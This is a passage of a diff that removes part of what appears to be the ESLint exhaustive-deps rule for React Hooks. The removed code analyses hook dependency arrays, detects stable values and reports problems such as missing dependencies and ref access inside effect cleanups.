-          // In that case ESLint won't set up .parent refs.
-          // So we'll set them up manually.
-          fastFindReferenceWithParent(componentScope.block, def.node.id);
-          declaration = def.node.parent;
-          if (declaration == null) {
-            return false;
-          }
-        }
-        if (
-          declaration.kind === 'const' &&
-          init.type === 'Literal' &&
-          (typeof init.value === 'string' ||
-            typeof init.value === 'number' ||
-            init.value === null)
-        ) {
-          // Definitely stable
-          return true;
-        }
-        // Detect known Hook calls
-        // const [_, setState] = useState()
-        if (init.type !== 'CallExpression') {
-          return false;
-        }
-        let callee = init.callee;
-        // Step into `= React.something` initializer.
-        if (
-          callee.type === 'MemberExpression' &&
-          callee.object.name === 'React' &&
-          callee.property != null &&
-          !callee.computed
-        ) {
-          callee = callee.property;
-        }
-        if (callee.type !== 'Identifier') {
-          return false;
-        }
-        const id = def.node.id;
-        const {name} = callee;
-        if (name === 'useRef' && id.type === 'Identifier') {
-          // useRef() return value is stable.
-          return true;
-        } else if (
-          isUseEffectEventIdentifier(callee) &&
-          id.type === 'Identifier'
-        ) {
-          for (const ref of resolved.references) {
-            if (ref !== id) {
-              useEffectEventVariables.add(ref.identifier);
-            }
-          }
-          // useEffectEvent() return value is always unstable.
-          return true;
-        } else if (name === 'useState' || name === 'useReducer') {
-          // Only consider second value in initializing tuple stable.
-          if (
-            id.type === 'ArrayPattern' &&
-            id.elements.length === 2 &&
-            isArray(resolved.identifiers)
-          ) {
-            // Is second tuple value the same reference we're checking?
-            if (id.elements[1] === resolved.identifiers[0]) {
-              if (name === 'useState') {
-                const references = resolved.references;
-                let writeCount = 0;
-                for (let i = 0; i < references.length; i++) {
-                  if (references[i].isWrite()) {
-                    writeCount++;
-                  }
-                  if (writeCount > 1) {
-                    return false;
-                  }
-                  setStateCallSites.set(
-                    references[i].identifier,
-                    id.elements[0],
-                  );
-                }
-              }
-              // Setter is stable.
-              return true;
-            } else if (id.elements[0] === resolved.identifiers[0]) {
-              if (name === 'useState') {
-                const references = resolved.references;
-                for (let i = 0; i < references.length; i++) {
-                  stateVariables.add(references[i].identifier);
-                }
-              }
-              // State variable itself is dynamic.
-              return false;
-            }
-          }
-        } else if (name === 'useTransition') {
-          // Only consider second value in initializing tuple stable.
-          if (
-            id.type === 'ArrayPattern' &&
-            id.elements.length === 2 &&
-            Array.isArray(resolved.identifiers)
-          ) {
-            // Is second tuple value the same reference we're checking?
-            if (id.elements[1] === resolved.identifiers[0]) {
-              // Setter is stable.
-              return true;
-            }
-          }
-        }
-        // By default assume it's dynamic.
-        return false;
-      }
-
-      // Some are just functions that don't reference anything dynamic.
-      function isFunctionWithoutCapturedValues(resolved) {
-        if (!isArray(resolved.defs)) {
-          return false;
-        }
-        const def = resolved.defs[0];
-        if (def == null) {
-          return false;
-        }
-        if (def.node == null || def.node.id == null) {
-          return false;
-        }
-        // Search the direct component subscopes for
-        // top-level function definitions matching this reference.
-        const fnNode = def.node;
-        const childScopes = componentScope.childScopes;
-        let fnScope = null;
-        let i;
-        for (i = 0; i < childScopes.length; i++) {
-          const childScope = childScopes[i];
-          const childScopeBlock = childScope.block;
-          if (
-            // function handleChange() {}
-            (fnNode.type === 'FunctionDeclaration' &&
-              childScopeBlock === fnNode) ||
-            // const handleChange = () => {}
-            // const handleChange = function() {}
-            (fnNode.type === 'VariableDeclarator' &&
-              childScopeBlock.parent === fnNode)
-          ) {
-            // Found it!
-            fnScope = childScope;
-            break;
-          }
-        }
-        if (fnScope == null) {
-          return false;
-        }
-        // Does this function capture any values
-        // that are in pure scopes (aka render)?
-        for (i = 0; i < fnScope.through.length; i++) {
-          const ref = fnScope.through[i];
-          if (ref.resolved == null) {
-            continue;
-          }
-          if (
-            pureScopes.has(ref.resolved.scope) &&
-            // Stable values are fine though,
-            // although we won't check functions deeper.
-            !memoizedIsStableKnownHookValue(ref.resolved)
-          ) {
-            return false;
-          }
-        }
-        // If we got here, this function doesn't capture anything
-        // from render--or everything it captures is known stable.
-        return true;
-      }
-
-      // Remember such values. Avoid re-running extra checks on them.
-      const memoizedIsStableKnownHookValue = memoizeWithWeakMap(
-        isStableKnownHookValue,
-        stableKnownValueCache,
-      );
-      const memoizedIsFunctionWithoutCapturedValues = memoizeWithWeakMap(
-        isFunctionWithoutCapturedValues,
-        functionWithoutCapturedValueCache,
-      );
-
-      // These are usually mistaken. Collect them.
-      const currentRefsInEffectCleanup = new Map();
-
-      // Is this reference inside a cleanup function for this effect node?
-      // We can check by traversing scopes upwards from the reference, and checking
-      // if the last "return () => " we encounter is located directly inside the effect.
-      function isInsideEffectCleanup(reference) {
-        let curScope = reference.from;
-        let isInReturnedFunction = false;
-        while (curScope.block !== node) {
-          if (curScope.type === 'function') {
-            isInReturnedFunction =
-              curScope.block.parent != null &&
-              curScope.block.parent.type === 'ReturnStatement';
-          }
-          curScope = curScope.upper;
-        }
-        return isInReturnedFunction;
-      }
-
-      // Get dependencies from all our resolved references in pure scopes.
-      // Key is dependency string, value is whether it's stable.
-      const dependencies = new Map();
-      const optionalChains = new Map();
-      gatherDependenciesRecursively(scope);
-
-      function gatherDependenciesRecursively(currentScope) {
-        for (const reference of currentScope.references) {
-          // If this reference is not resolved or it is not declared in a pure
-          // scope then we don't care about this reference.
-          if (!reference.resolved) {
-            continue;
-          }
-          if (!pureScopes.has(reference.resolved.scope)) {
-            continue;
-          }
-
-          // Narrow the scope of a dependency if it is, say, a member expression.
-          // Then normalize the narrowed dependency.
-          const referenceNode = fastFindReferenceWithParent(
-            node,
-            reference.identifier,
-          );
-          const dependencyNode = getDependency(referenceNode);
-          const dependency = analyzePropertyChain(
-            dependencyNode,
-            optionalChains,
-          );
-
-          // Accessing ref.current inside effect cleanup is bad.
-          if (
-            // We're in an effect...
-            isEffect &&
-            // ... and this look like accessing .current...
-            dependencyNode.type === 'Identifier' &&
-            (dependencyNode.parent.type === 'MemberExpression' ||
-              dependencyNode.parent.type === 'OptionalMemberExpression') &&
-            !dependencyNode.parent.computed &&
-            dependencyNode.parent.property.type === 'Identifier' &&
-            dependencyNode.parent.property.name === 'current' &&
-            // ...in a cleanup function or below...
-            isInsideEffectCleanup(reference)
-          ) {
-            currentRefsInEffectCleanup.set(dependency, {
-              reference,
-              dependencyNode,
-            });
-          }
-
-          if (
-            dependencyNode.parent.type === 'TSTypeQuery' ||
-            dependencyNode.parent.type === 'TSTypeReference'
-          ) {
-            continue;
-          }
-
-          const def = reference.resolved.defs[0];
-          if (def == null) {
-            continue;
-          }
-          // Ignore references to the function itself as it's not defined yet.
-          if (def.node != null && def.node.init === node.parent) {
-            continue;
-          }
-          // Ignore Flow type parameters
-          if (def.type === 'TypeParameter') {
-            continue;
-          }
-
-          // Add the dependency to a map so we can make sure it is referenced
-          // again in our dependencies array. Remember whether it's stable.
-          if (!dependencies.has(dependency)) {
-            const resolved = reference.resolved;
-            const isStable =
-              memoizedIsStableKnownHookValue(resolved) ||
-              memoizedIsFunctionWithoutCapturedValues(resolved);
-            dependencies.set(dependency, {
-              isStable,
-              references: [reference],
-            });
-          } else {
-            dependencies.get(dependency).references.push(reference);
-          }
-        }
-
-        for (const childScope of currentScope.childScopes) {
-          gatherDependenciesRecursively(childScope);
-        }
-      }
-
-      // Warn about accessing .current in cleanup effects.
-      currentRefsInEffectCleanup.forEach(
-        ({reference, dependencyNode}, dependency) => {
-          const references = reference.resolved.references;
-          // Is React managing this ref or us?
-          // Let's see if we can find a .current assignment.
-          let foundCurrentAssignment = false;
-          for (let i = 0; i < references.length; i++) {
-            const {identifier} = references[i];
-            const {parent} = identifier;
-            if (
-              parent != null &&
-              // ref.current
-              // Note: no need to handle OptionalMemberExpression because it can't be LHS.
-              parent.type === 'MemberExpression' &&
-              !parent.computed &&
-              parent.property.type === 'Identifier' &&
-              parent.property.name === 'current' &&
-              // ref.current = <something>
-              parent.parent.type === 'AssignmentExpression' &&
-              parent.parent.left === parent
-            ) {
-              foundCurrentAssignment = true;
-              break;
-            }
-          }
-          // We only want to warn about React-managed refs.
-          if (foundCurrentAssignment) {
-            return;
-          }
-          reportProblem({
-            node: dependencyNode.parent.property,
-            message:
-              `The ref value '${dependency}.current' will likely have ` +
-              `changed by the time this effect cleanup function runs. If ` +
-              `this ref points to a node rendered by React, copy ` +
-              `'${dependency}.current' to a variable inside the effect, and ` +
-              `use that variable in the cleanup function.`,
-          });
-        },
-      );
-
-      // Warn about assigning to variables in the outer scope.
-      // Those are usually bugs.
-      const staleAssignments = new Set();
-      function reportStaleAssignment(writeExpr, key) {
-        if (staleAssignments.has(key)) {
-          return;
-        }
-        staleAssignments.add(key);
-        reportProblem({
-          node: writeExpr,
-          message:
-            `Assignments to the '${key}' variable from inside React Hook ` +
-            `${getSource(reactiveHook)} will be lost after each ` +
-            `render. To preserve the value over time, store it in a useRef ` +
-            `Hook and keep the mutable value in the '.current' property. ` +
-            `Otherwise, you can move this variable directly inside ` +
-            `${getSource(reactiveHook)}.`,
-        });
-      }
-
-      // Remember which deps are stable and report bad usage first.
-      const stableDependencies = new Set();
-      dependencies.forEach(({isStable, references}, key) => {
-        if (isStable) {
-          stableDependencies.add(key);
-        }
-        references.forEach(reference => {
-          if (reference.writeExpr) {
-            reportStaleAssignment(reference.writeExpr, key);
-          }
-        });
-      });
-
-      if (staleAssignments.size > 0) {
-        // The intent isn't clear so we'll wait until you fix those first.
-        return;
-      }
-
-      if (!declaredDependenciesNode) {
-        // Check if there are any top-level setState() calls.
-        // Those tend to lead to infinite loops.
-        let setStateInsideEffectWithoutDeps = null;
-        dependencies.forEach(({isStable, references}, key) => {
-          if (setStateInsideEffectWithoutDeps) {
-            return;
-          }
-          references.forEach(reference => {
-            if (setStateInsideEffectWithoutDeps) {
-              return;
-            }
-
-            const id = reference.identifier;
-            const isSetState = setStateCallSites.has(id);
-            if (!isSetState) {
-              return;
-            }
-
-            let fnScope = reference.from;
-            while (fnScope.type !== 'function') {
-              fnScope = fnScope.upper;
-            }
-            const isDirectlyInsideEffect = fnScope.block === node;
-            if (isDirectlyInsideEffect) {
-              // TODO: we could potentially ignore early returns.
-              setStateInsideEffectWithoutDeps = key;
-            }
-          });
-        });
-        if (setStateInsideEffectWithoutDeps) {
-          const {suggestedDependencies} = collectRecommendations({
-            dependencies,
-            declaredDependencies: [],
-            stableDependencies,
-            externalDependencies: new Set(),
-            isEffect: true,
-          });
-          reportProblem({
-            node: reactiveHook,
-            message:
-              `React Hook ${reactiveHookName} contains a call to '${setStateInsideEffectWithoutDeps}'. ` +
-              `Without a list of dependencies, this can lead to an infinite chain of updates. ` +
-              `To fix this, pass [` +
-              suggestedDependencies.join(', ') +
-              `] as a second argument to the ${reactiveHookName} Hook.`,
-            suggest: [
-              {
-                desc: `Add dependencies array: [${suggestedDependencies.join(
-                  ', ',
-                )}]`,
-                fix(fixer) {
-                  return fixer.insertTextAfter(
-                    node,
-                    `, [${suggestedDependencies.join(', ')}]`,
-                  );
-                },
-              },
-            ],
-          });
-        }
-        return;
-      }
-
-      const declaredDependencies = [];
-      const externalDependencies = new Set();
-      const isArrayExpression =
-        declaredDependenciesNode.type === 'ArrayExpression';
-      const isTSAsArrayExpression =
-        declaredDependenciesNode.type === 'TSAsExpression' &&
-        declaredDependenciesNode.expression.type === 'ArrayExpression';
-      if (!isArrayExpression && !isTSAsArrayExpression) {
-        // If the declared dependencies are not an array expression then we
-        // can't verify that the user provided the correct dependencies. Tell
-        // the user this in an error.
-        reportProblem({
-          node: declaredDependenciesNode,
-          message:
-            `React Hook ${getSource(reactiveHook)} was passed a ` +
-            'dependency list that is not an array literal. This means we ' +
-            "can't statically verify whether you've passed the correct " +
-            'dependencies.',
-        });
-      } else {
-        const arrayExpression = isTSAsArrayExpression
-          ? declaredDependenciesNode.expression
-          : declaredDependenciesNode;
-
-        arrayExpression.elements.forEach(declaredDependencyNode => {
-          // Skip elided elements.
-          if (declaredDependencyNode === null) {
-            return;
-          }
-          // If we see a spread element then add a special warning.
-          if (declaredDependencyNode.type === 'SpreadElement') {
-            reportProblem({
-              node: declaredDependencyNode,
-              message:
-                `React Hook ${getSource(reactiveHook)} has a spread ` +
-                "element in its dependency array. This means we can't " +
-                "statically verify whether you've passed the " +
-                'correct dependencies.',
-            });
-            return;
-          }
-          if (useEffectEventVariables.has(declaredDependencyNode)) {
-            reportProblem({
-              node: declaredDependencyNode,
-              message:
-                'Functions returned from `useEffectEvent` must not be included in the dependency array. ' +
-                `Remove \`${getSource(
-                  declaredDependencyNode,
-                )}\` from the list.`,
-              suggest: [
-                {
-                  desc: `Remove the dependency \`${getSource(
-                    declaredDependencyNode,
-                  )}\``,
-                  fix(fixer) {
-                    return fixer.removeRange(declaredDependencyNode.range);
-                  },
-                },
-              ],
-            });
-          }
-          // Try to normalize the declared dependency. If we can't then an error
-          // will be thrown. We will catch that error and report an error.
-          let declaredDependency;
-          try {
-            declaredDependency = analyzePropertyChain(
-              declaredDependencyNode,
-              null,
-            );
-          } catch (error) {
-            if (/Unsupported node type/.test(error.message)) {
-              if (declaredDependencyNode.type === 'Literal') {
-                if (dependencies.has(declaredDependencyNode.value)) {
-                  reportProblem({
-                    node: declaredDependencyNode,
-                    message:
-                      `The ${declaredDependencyNode.raw} literal is not a valid dependency ` +
-                      `because it never changes. ` +
-                      `Did you mean to include ${declaredDependencyNode.value} in the array instead?`,
-                  });
-                } else {
-                  reportProblem({
-                    node: declaredDependencyNode,
-                    message:
-                      `The ${declaredDependencyNode.raw} literal is not a valid dependency ` +
-                      'because it never changes. You can safely remove it.',
-                  });
-                }
-              } else {
-                reportProblem({
-                  node: declaredDependencyNode,
-                  message:
-                    `React Hook ${getSource(reactiveHook)} has a ` +
-                    `complex expression in the dependency array. ` +
-                    'Extract it to a separate variable so it can be statically checked.',
-                });
-              }
-
-              return;
-            } else {
-              throw error;
-            }
-          }
-
-          let maybeID = declaredDependencyNode;
-          while (
-            maybeID.type === 'MemberExpression' ||
-            maybeID.type === 'OptionalMemberExpression' ||
-            maybeID.type === 'ChainExpression'
-          ) {
-            maybeID = maybeID.object || maybeID.expression.object;
-          }
-          const isDeclaredInComponent = !componentScope.through.some(
-            ref => ref.identifier === maybeID,
-          );
-
-          // Add the dependency to our declared dependency map.
-          declaredDependencies.push({
-            key: declaredDependency,
-            node: declaredDependencyNode,
-          });
-
-          if (!isDeclaredInComponent) {
-            externalDependencies.add(declaredDependency);
-          }
-        });
-      }
-
-      const {
-        suggestedDependencies,
-        unnecessaryDependencies,
-        missingDependencies,
-        duplicateDependencies,
-      } = collectRecommendations({
-        dependencies,
-        declaredDependencies,
-        stableDependencies,
-        externalDependencies,
-        isEffect,
-      });
-
-      let suggestedDeps = suggestedDependencies;
-
-      const problemCount =
-        duplicateDependencies.size +
-        missingDependencies.size +
-        unnecessaryDependencies.size;
-
-      if (problemCount === 0) {
-        // If nothing else to report, check if some dependencies would
-        // invalidate on every render.
-        const constructions = scanForConstructions({
-          declaredDependencies,
-          declaredDependenciesNode,
-          componentScope,
-          scope,
-        });
-        constructions.forEach(
-          ({construction, isUsedOutsideOfHook, depType}) => {
-            const wrapperHook =
-              depType === 'function' ? 'useCallback' : 'useMemo';
-
-            const constructionType =
-              depType === 'function' ? 'definition' : 'initialization';
-
-            const defaultAdvice = `wrap the ${constructionType} of '${construction.name.name}' in its own ${wrapperHook}() Hook.`;
-
-            const advice = isUsedOutsideOfHook
-              ? `To fix this, ${defaultAdvice}`
-              : `Move it inside the ${reactiveHookName} callback. Alternatively, ${defaultAdvice}`;
-
-            const causation =
-              depType === 'conditional' || depType === 'logical expression'
-                ? 'could make'
-                : 'makes';
-
-            const message =
-              `The '${construction.name.name}' ${depType} ${causation} the dependencies of ` +
-              `${reactiveHookName} Hook (at line ${declaredDependenciesNode.loc.start.line}) ` +
-              `change on every render. ${advice}`;
-
-            let suggest;
-            // Only handle the simple case of variable assignments.
-            // Wrapping function declarations can mess up hoisting.
-            if (
-              isUsedOutsideOfHook &&
-              construction.type === 'Variable' &&
-              // Objects may be mutated after construction, which would make this
-              // fix unsafe. Functions _probably_ won't be mutated, so we'll
-              // allow this fix for them.
-              depType === 'function'
-            ) {
-              suggest = [
-                {
-                  desc: `Wrap the ${constructionType} of '${construction.name.name}' in its own ${wrapperHook}() Hook.`,
-                  fix(fixer) {
-                    const [before, after] =
-                      wrapperHook === 'useMemo'
-                        ? [`useMemo(() => { return `, '; })']
-                        : ['useCallback(', ')'];
-                    return [
-                      // TODO: also add an import?
-                      fixer.insertTextBefore(construction.node.init, before),
-                      // TODO: ideally we'd gather deps here but it would require
-                      // restructuring the rule code. This will cause a new lint
-                      // error to appear immediately for useCallback. Note we're
-                      // not adding [] because would that changes semantics.
-                      fixer.insertTextAfter(construction.node.init, after),
-                    ];
-                  },
-                },
-              ];
-            }
-            // TODO: What if the function needs to change on every render anyway?
-            // Should we suggest removing effect deps as an appropriate fix too?
-            reportProblem({
-              // TODO: Why not report this at the dependency site?
-              node: construction.node,
-              message,
-              suggest,
-            });
-          },
-        );
-        return;
-      }
-
-      // If we're going to report a missing dependency,
-      // we might as well recalculate the list ignoring
-      // the currently specified deps. This can result
-      // in some extra deduplication. We can't do this
-      // for effects though because those have legit
-      // use cases for over-specifying deps.
-      if (!isEffect && missingDependencies.size > 0) {
-        suggestedDeps = collectRecommendations({
-          dependencies,
-          declaredDependencies: [], // Pretend we don't know
-          stableDependencies,
-          externalDependencies,
-          isEffect,
-        }).suggestedDependencies;
-      }
-
-      // Alphabetize the suggestions, but only if deps were already alphabetized.
-      function areDeclaredDepsAlphabetized() {
-        if (declaredDependencies.length === 0) {
-          return true;
-        }
-        const declaredDepKeys = declaredDependencies.map(dep => dep.key);
-        const sortedDeclaredDepKeys = declaredDepKeys.slice().sort();
-        return declaredDepKeys.join(',') === sortedDeclaredDepKeys.join(',');
-      }
-      if (areDeclaredDepsAlphabetized()) {
-        suggestedDeps.sort();
-      }
-
-      // Most of our algorithm deals with dependency paths with optional chaining stripped.
-      // This function is the last step before printing a dependency, so now is a good time to
-      // check whether any members in our path are always used as optional-only. In that case,
-      // we will use ?. instead of . to concatenate those parts of the path.
-      function formatDependency(path) {
-        const members = path.split('.');
-        let finalPath = '';
-        for (let i = 0; i < members.length; i++) {
-          if (i !== 0) {
-            const pathSoFar = members.slice(0, i + 1).join('.');
-            const isOptional = optionalChains.get(pathSoFar) === true;
-            finalPath += isOptional ? '?.' : '.';
-          }
-          finalPath += members[i];
-        }
-        return finalPath;
-      }
-
-      function getWarningMessage(deps, singlePrefix, label, fixVerb) {
-        if (deps.size === 0) {
-          return null;
-        }
-        return (
-          (deps.size > 1 ? '' : singlePrefix + ' ') +
-          label +
-          ' ' +
-          (deps.size > 1 ? 'dependencies' : 'dependency') +
-          ': ' +
-          joinEnglish(
-            Array.from(deps)
-              .sort()
-              .map(name => "'" + formatDependency(name) + "'"),
-          ) +
-          `. Either ${fixVerb} ${
-            deps.size > 1 ? 'them' : 'it'
-          } or remove the dependency array.`
-        );
-      }
-
-      let extraWarning = '';
-      if (unnecessaryDependencies.size > 0) {
-        let badRef = null;
-        Array.from(unnecessaryDependencies.keys()).forEach(key => {
-          if (badRef !== null) {
-            return;
-          }
-          if (key.endsWith('.current')) {
-            badRef = key;
-          }
-        });
-        if (badRef !== null) {
-          extraWarning =
-            ` Mutable values like '${badRef}' aren't valid dependencies ` +
-            "because mutating them doesn't re-render the component.";
-        } else if (externalDependencies.size > 0) {
-          const dep = Array.from(externalDependencies)[0];
-          // Don't show this warning for things that likely just got moved *inside* the callback
-          // because in that case they're clearly not referring to globals.
-          if (!scope.set.has(dep)) {
-            extraWarning =
-              ` Outer scope values like '${dep}' aren't valid dependencies ` +
-              `because mutating them doesn't re-render the component.`;
-          }
-        }
-      }
-
-      // `props.foo()` marks `props` as a dependency because it has
-      // a `this` value. This warning can be confusing.
-      // So if we're going to show it, append a clarification.
-      if (!extraWarning && missingDependencies.has('props')) {
-        const propDep = dependencies.get('props');
-        if (propDep == null) {
-          return;
-        }
-        const refs = propDep.references;
-        if (!Array.isArray(refs)) {
-          return;
-        }
-        let isPropsOnlyUsedInMembers = true;
-        for (let i = 0; i < refs.length; i++) {
-          const ref = refs[i];
-          const id = fastFindReferenceWithParent(
-            componentScope.block,
-            ref.identifier,
-          );
-          if (!id) {
-            isPropsOnlyUsedInMembers = false;
-            break;
-          }
-          const parent = id.parent;
-          if (parent == null) {
-            isPropsOnlyUsedInMembers = false;
-            break;
-          }
-          if (
-            parent.type !== 'MemberExpression' &&
-            parent.type !== 'OptionalMemberExpression'
-          ) {
-            isPropsOnlyUsedInMembers = false;
-            break;
-          }
-        }
-        if (isPropsOnlyUsedInMembers) {
-          extraWarning =
-            ` However, 'props' will change when *any* prop changes, so the ` +
-            `preferred fix is to destructure the 'props' object outside of ` +
-            `the ${reactiveHookName} call and refer to those specific props ` +
-            `inside ${getSource(reactiveHook)}.`;
-        }
-      }
-
-      if (!extraWarning && missingDependencies.size > 0) {
-        // See if the user is trying to avoid specifying a callable prop.
-        // This usually means they're unaware of useCallback.
-        let missingCallbackDep = null;
-        missingDependencies.forEach(missingDep => {
-          if (missingCallbackDep) {
-            return;
-          }
-          // Is this a variable from top scope?
-          const topScopeRef = componentScope.set.get(missingDep);
-          const usedDep = dependencies.get(missingDep);
-          if (usedDep.references[0].resolved !== topScopeRef) {
-            return;
-          }
-          // Is this a destructured prop?
-          const def = topScopeRef.defs[0];
-          if (def == null || def.name == null || def.type !== 'Parameter') {
-            return;
-          }
-          // Was it called in at least one case? Then it's a function.
-          let isFunctionCall = false;
-          let id;
-          for (let i = 0; i < usedDep.references.length; i++) {
-            id = usedDep.references[i].identifier;
-            if (
-              id != null &&
-              id.parent != null &&
-              (id.parent.type === 'CallExpression' ||
-                id.parent.type === 'OptionalCallExpression') &&
-              id.parent.callee === id
-            ) {
-              isFunctionCall = true;
-              break;
-            }
-          }
-          if (!isFunctionCall) {
-            return;
-          }
-          // If it's missing (i.e. in component scope) *and* it's a parameter
-          // then it is definitely coming from props destructuring.
-          // (It could also be props itself but we wouldn't be calling it then.)
-          missingCallbackDep = missingDep;
-        });
-        if (missingCallbackDep !== null) {
-          extraWarning =
-            ` If '${missingCallbackDep}' changes too often, ` +
-            `find the parent component that defines it ` +
-            `and wrap that definition in useCallback.`;
-        }
-      }
-
-      if (!extraWarning && missingDependencies.size > 0) {
-        let setStateRecommendation = null;
-        missingDependencies.forEach(missingDep => {
-          if (setStateRecommendation !== null) {
-            return;
-          }
-          const usedDep = dependencies.get(missingDep);
-          const references = usedDep.references;
-          let id;
-          let maybeCall;
-          for (let i = 0; i < references.length; i++) {
-            id = references[i].identifier;
-            maybeCall = id.parent;
-            // Try to see if we have setState(someExpr(missingDep)).
-            while (maybeCall != null && maybeCall !== componentScope.block) {
-              if (maybeCall.type === 'CallExpression') {
-                const correspondingStateVariable = setStateCallSites.get(
-                  maybeCall.callee,
-                );
-                if (correspondingStateVariable != null) {
-                  if (correspondingStateVariable.name === missingDep) {
-                    // setCount(count + 1)
-                    setStateRecommendation = {
-                      missingDep,
-                      setter: maybeCall.callee.name,
-                      form: 'updater',
-                    };
-                  } else if (stateVariables.has(id)) {
-                    // setCount(count + increment)
-                    setStateRecommendation = {
-                      missingDep,
-                      setter: maybeCall.callee.name,
-                      form: 'reducer',
-                    };
-                  } else {
-                    const resolved = references[i].resolved;
-                    if (resolved != null) {
-                      // If it's a parameter *and* a missing dep,
-                      // it must be a prop or something inside a prop.
-                      // Therefore, recommend an inline reducer.
-                      const def = resolved.defs[0];
-                      if (def != null && def.type === 'Parameter') {
-                        setStateRecommendation = {
-                          missingDep,
-                          setter: maybeCall.callee.name,
-                          form: 'inlineReducer',
-                        };
-                      }
-                    }
-                  }
-                  break;
-                }
-              }
-              maybeCall = maybeCall.parent;
-            }
-            if (setStateRecommendation !== null) {
-              break;
-            }
-          }
-        });
-        if (setStateRecommendation !== null) {
-          switch (setStateRecommendation.form) {
-            case 'reducer':
-              extraWarning =
-                ` You can also replace multiple useState variables with useReducer ` +
-                `if '${setStateRecommendation.setter}' needs the ` +
-                `current value of '${setStateRecommendation.missingDep}'.`;
-              break;
-            case 'inlineReducer':
-              extraWarning =
-                ` If '${setStateRecommendation.setter}' needs the ` +
-                `current value of '${setStateRecommendation.missingDep}', ` +
-                `you can also switch to useReducer instead of useState and ` +
-                `read '${setStateRecommendation.missingDep}' in the reducer.`;
-              break;
-            case 'updater':
-              extraWarning =
-                ` You can also do a functional update '${
-                  setStateRecommendation.setter
-                }(${setStateRecommendation.missingDep.slice(
-                  0,
-                  1,
-                )} => ...)' if you only need '${
-                  setStateRecommendation.missingDep
-                }'` + ` in the '${setStateRecommendation.setter}' call.`;
-              break;
-            default:
-              throw new Error('Unknown case.');
-          }
-        }
-      }
-
-      reportProblem({
-        node: declaredDependenciesNode,
-        message:
-          `React Hook ${getSource(reactiveHook)} has ` +
-          // To avoid a long message, show the next actionable item.
-          (getWarningMessage(missingDependencies, 'a', 'missing', 'include') ||
-            getWarningMessage(
-              unnecessaryDependencies,
-              'an',
-              'unnecessary',
-              'exclude',
-            ) ||
-            getWarningMessage(
-              duplicateDependencies,
-              'a',
-              'duplicate',
-              'omit',
-            )) +
-          extraWarning,
-        suggest: [
-          {
-            desc: `Update the dependencies array to be: [${suggestedDeps
-              .map(formatDependency)
-              .join(', ')}]`,
-            fix(fixer) {
-              // TODO: consider preserving the comments or formatting?
-              return fixer.replaceText(
-                declaredDependenciesNode,
-                `[${suggestedDeps.map(formatDependency).join(', ')}]`,
-              );
-            },
-          },
-        ],
-      });
-    }
-
-    function visitCallExpression(node) {
-      const callbackIndex = getReactiveHookCallbackIndex(node.callee, options);
-      if (callbackIndex === -1) {
-        // Not a React Hook call that needs deps.
-        return;
-      }
-      const callback = node.arguments[callbackIndex];
-      const reactiveHook = node.callee;
-      const reactiveHookName = getNodeWithoutReactNamespace(reactiveHook).name;
-      const maybeNode = node.arguments[callbackIndex + 1];
-      const declaredDependenciesNode =
-        maybeNode &&
-        !(maybeNode.type === 'Identifier' && maybeNode.name === 'undefined')
-          ? maybeNode
-          : undefined;
-      const isEffect = /Effect($|[^a-z])/g.test(reactiveHookName);
-
-      // Check whether a callback is supplied. If there is no callback supplied
-      // then the hook will not work and React will throw a TypeError.
-      // So no need to check for dependency inclusion.
-      if (!callback) {
-        reportProblem({
-          node: reactiveHook,
-          message:
-            `React Hook ${reactiveHookName} requires an effect callback. ` +
-            `Did you forget to pass a callback to the hook?`,
-        });
-        return;
-      }
-
-      // Check the declared dependencies for this reactive hook. If there is no
-      // second argument then the reactive callback will re-run on every render.
-      // So no need to check for dependency inclusion.
-      if (!declaredDependenciesNode && !isEffect) {
-        // These are only used for optimization.
-        if (
-          reactiveHookName === 'useMemo' ||
-          reactiveHookName === 'useCallback'
-        ) {
-          // TODO: Can this have a suggestion?
-          reportProblem({
-            node: reactiveHook,
-            message:
-              `React Hook ${reactiveHookName} does nothing when called with ` +
-              `only one argument. Did you forget to pass an array of ` +
-              `dependencies?`,
-          });
-        }
-        return;
-      }
-
-      switch (callback.type) {
-        case 'FunctionExpression':
-        case 'ArrowFunctionExpression':
-          visitFunctionWithDependencies(
-            callback,
-            declaredDependenciesNode,
-            reactiveHook,
-            reactiveHookName,
-            isEffect,
-          );
-          return; // Handled
-        case 'TSAsExpression':
-          visitFunctionWithDependencies(
-            callback.expression,
-            declaredDependenciesNode,
-            reactiveHook,
-            reactiveHookName,
-            isEffect,
-          );
-          return; // Handled
-        case 'Identifier':
-          if (!declaredDependenciesNode) {
-            // No deps, no problems.
-            return; // Handled
-          }
-          // The function passed as a callback is not written inline.
-          // But perhaps it's in the dependencies array?
-          if (
-            declaredDependenciesNode.elements &&
-            declaredDependenciesNode.elements.some(
-              el => el && el.type === 'Identifier' && el.name === callback.name,
-            )
-          ) {
-            // If it's already in the list of deps, we don't care because
-            // this is valid regardless.
-            return; // Handled
-          }
-          // We'll do our best effort to find it, complain otherwise.
-          const variable = getScope(callback).set.get(callback.name);
-          if (variable == null || variable.defs == null) {
-            // If it's not in scope, we don't care.
-            return; // Handled
-          }
-          // The function passed as a callback is not written inline.
-          // But it's defined somewhere in the render scope.
-          // We'll do our best effort to find and check it, complain otherwise.
-          const def = variable.defs[0];
-          if (!def || !def.node) {
-            break; // Unhandled
-          }
-          if (def.type !== 'Variable' && def.type !== 'FunctionName') {
-            // Parameter or an unusual pattern. Bail out.
-            break; // Unhandled
-          }
-          switch (def.node.type) {
-            case 'FunctionDeclaration':
-              // useEffect(() => { ... }, []);
-              visitFunctionWithDependencies(
-                def.node,
-                declaredDependenciesNode,
-                reactiveHook,
-                reactiveHookName,
-                isEffect,
-              );
-              return; // Handled
-            case 'VariableDeclarator':
-              const init = def.node.init;
-              if (!init) {
-                break; // Unhandled
-              }
-              switch (init.type) {
-                // const effectBody = () => {...};
-                // useEffect(effectBody, []);
-                case 'ArrowFunctionExpression':
-                case 'FunctionExpression':
-                  // We can inspect this function as if it were inline.
-                  visitFunctionWithDependencies(
-                    init,
-                    declaredDependenciesNode,
-                    reactiveHook,
-                    reactiveHookName,
-                    isEffect,
-                  );
-                  return; // Handled
-              }
-              break; // Unhandled
-          }
-          break; // Unhandled
-        default:
-          // useEffect(generateEffectBody(), []);
-          reportProblem({
-            node: reactiveHook,
-            message:
-              `React Hook ${reactiveHookName} received a function whose dependencies ` +
-              `are unknown. Pass an inline function instead.`,
-          });
-          return; // Handled
-      }
-
-      // Something unusual. Fall back to suggesting to add the body itself as a dep.
-      reportProblem({
-        node: reactiveHook,
-        message:
-          `React Hook ${reactiveHookName} has a missing dependency: '${callback.name}'. ` +
-          `Either include it or remove the dependency array.`,
-        suggest: [
-          {
-            desc: `Update the dependencies array to be: [${callback.name}]`,
-            fix(fixer) {
